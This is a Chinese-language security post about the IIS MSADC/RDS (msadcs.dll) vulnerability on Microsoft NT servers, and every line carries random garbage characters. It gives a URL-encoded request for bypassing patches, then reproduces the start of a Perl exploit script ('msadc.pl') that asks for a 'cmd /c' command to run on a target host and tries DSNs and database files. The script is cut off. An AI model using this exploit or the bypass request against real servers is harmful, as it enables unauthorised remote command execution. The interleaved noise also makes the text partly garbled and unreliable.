IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
GgFi9Ffj $<)Yyi>6E 涉及程序:
&[|VZ[ Microsoft NT server
mjnUs-`W| K7vw3UwGN 描述:
Y\/gU8w/ 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
|E/L.gdP7 7_KhV 详细:
(d2@Mz 如果你没有时间读详细内容的话,就删除:
q$ghLGz c:\Program Files\Common Files\System\Msadc\msadcs.dll
ES:!Vx9t0| 有关的安全问题就没有了。
;@4H5p &$fbP5uAZ 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
j,%EW+j$ `kBnSi o~ 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
Ln#a<Rx.E7 关于利用ODBC远程漏洞的描述,请参看:
>N`6;gn*l _94s(~g: http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm #'o7x'n^ msTB'0 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
Il~01|3+m http://www.microsoft.com/security/bulletins/MS99-025faq.asp 2O""4_G M7y|EB)) 这里不再论述。
)xl6,bq3 ?H;{~n? 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
cHvF* A !)OB@F%U /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
/nB'kg[h\ 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
uOk%AL> 4B O %{ @6xGJ,s #将下面这段保存为txt文件,然后: "perl -x 文件名"
89eq[ |G_ d;suACW #!perl
%|Hp Bs#' #
,=w!vO5s # MSADC/RDS 'usage' (aka exploit) script
jD<pIHau #
H"YL
k # by rain.forest.puppy
M[Y4_$k<- #
<4?*$ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
cz.3|Lby # beta test and find errors!
5h_5Z~ mb\t/p use Socket; use Getopt::Std;
'wQy]zm$ getopts("e:vd:h:XR", \%args);
]
VG?+ mA{#]Yvf1 print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Z^6#4Q]YC CUhV$A#oo if (!defined $args{h} && !defined $args{R}) {
!ng\`
|8? print qq~
j]> uZalr Usage: msadc.pl -h <host> { -d <delay> -X -v }
d?Y-;-|8Qh -h <host> = host you want to scan (ip or domain)
P\B3
y+) -d <seconds> = delay between calls, default 1 second
LdTIR] -X = dump Index Server path table, if available
$iJnxqn -v = verbose
V,4.$<e -e = external dictionary file for step 5
6Dzs? P LDX*<( Or a -R will resume a command session
af>3V( 7 #vnT&FN0[ ~; exit;}
{OxWcK\2@h ; h+ q $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
:0Te4UE;P7 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
U )Zt-og if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
]tVl{" .{ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
Zq?_dIX
% $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
KRk~w] if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
?V+wjw P>htQ if (!defined $args{R}){ $ret = &has_msadc;
R7aXR\ R die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
STT2o= I6w/0,azC print "Please type the NT commandline you want to run (cmd /c assumed):\n"
1i,4".h?M . "cmd /c ";
K\sbt7~ $in=<STDIN>; chomp $in;
fA
XE~ $command="cmd /c " . $in ;
{[3YJkrM Dc:DY:L^
if (defined $args{R}) {&load; exit;}
lP0k: iSd?N}2,I print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
m`9^.>]P &try_btcustmr;
|3@=CE7G {E~l>Z88 print "\nStep 2: Trying to make our own DSN...";
.~<]HAwq &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
y&rY0bm XtW_ print "\nStep 3: Trying known DSNs...";
4I ,o&TK &known_dsn;
YC)hX'A\ a!u3HS-i print "\nStep 4: Trying known .mdbs...";
zz3 r<?#5 &known_mdb;
[:pl-_.C DcU C, if (defined $args{e}){
n0FYfqH print "\nStep 5: Trying dictionary of DSN names...";
+ U5U.f% &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
+u#Sl)F D=9}|b/ print "Sorry Charley...maybe next time?\n";
`@\^m_!} exit;
{,v:
GMsm 8nu> gA ##############################################################################
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